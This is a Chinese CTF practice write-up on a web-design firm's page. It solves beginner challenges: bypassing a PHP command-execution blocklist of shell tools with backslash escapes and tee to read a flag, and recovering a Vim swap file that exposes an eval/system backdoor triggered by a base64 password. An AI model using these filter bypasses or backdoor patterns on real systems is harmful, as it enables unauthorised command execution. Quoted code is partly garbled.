资讯动态

2026.10.27-NSSCTF刷题记录

发布时间:2026/10/29 20:07:56 来源:尧图企业网站定制
NSSCTF[SWPUCTF 2021 新生赛]finalrce命令执行题目?php highlight_file(__FILE__); if(isset($_GET[url])) //检查是否get传参url { $url$_GET[url]; //对url变量中传参进行正则匹配 if(preg_match(/bash|nc|wget|ping|ls|cat|more|less|phpinfo|base64|echo|php|python|mv|cp|la|\-|\*|\|\|\|\%|\$/i,$url)) { echo Sorry,you cant use this.; } else { echo Can you see anything?; //命令成功执行后输出 exec($url); //这里只使用了exec()函数没有使用echo()等命令将结果输出到当前页面上所以推断需要将命令执行后的命令重新写入另一个文件 } }这里只使用了exec()函数没有使用echo()等命令将结果输出到当前页面上所以推断需要将命令执行后的命令重新写入另一个文件ls //正则匹配的时候只会匹配ls不会匹配ls但是shell解析的时候会将ls解析为ls l\s tee //从标准输入读取数据同时把数据写到标准输出和指定文件里。?urlls /| tee 2.txthttp://node4.anna.nssnode.cn:20541/2.txt访问2.txt可以看到有一个flllllaaaaaaggggggg文件使用tac命令进行查看flag文件因为正则匹配中将la过滤了所以在la中加上斜杠http://node4.anna.nssnode.cn:20541/?urltac /flllll\aaaaaaggggggg|tee 3.txt拿到flag[UUCTF 2022 新生赛]websign打开源码方式有view-source:http://目标地址/ ctrlu f12本地将ctrlu和f12进行了禁用所以本次使用第一种方式view-source:http://目标地址/[HDCTF 2023]Welcome To HDCTF 2023游戏如果血量为0就出flag[LitCTF 2023]Vim yyds使用dirsearch扫描出来一个index.php.swp文件使用vim -r 命令将文件进行恢复.swp是 Vim 在编辑会话期间自动创建、持续增量写入的缓冲区草稿文件。默认放在被编辑文件所在目录文件名为.原文件名.swp。刷新约 200 字符或停输约 4 秒一次。正常退出 Vim后删除异常中断后保留可用vim -r 原文件名恢复未保存的修改。它不是完整历史版本也不是用来修复损坏文件的。所以在kali中使用vim -r 进行修复修复之后可以看到文件内容?php error_reporting(0); $password Give_Me_Your_Flag; //自定义了一个变量 echo pcan can need Vim p; if ($_POST[password] base64_encode($password)) { //检测POST传参的内容是否是base64编码后的$password echo pOh You got my password!/p; eval(system($_POST[cmd])); //如果传入的是base64编码后的则执行POST传入的命令 } ?如果使用POST传参的内容等于$password变量的base64编码就执行POST传参的cmd的命令$password的base64为R2l2ZV9NZV9Zb3VyX0ZsYWcpayload为passwordR2l2ZV9NZV9Zb3VyX0ZsYWccmdls /

读完文章,也想定制专属网站?

尧图设计师 24 小时内与您沟通定制方案

免费获取报价 →
↑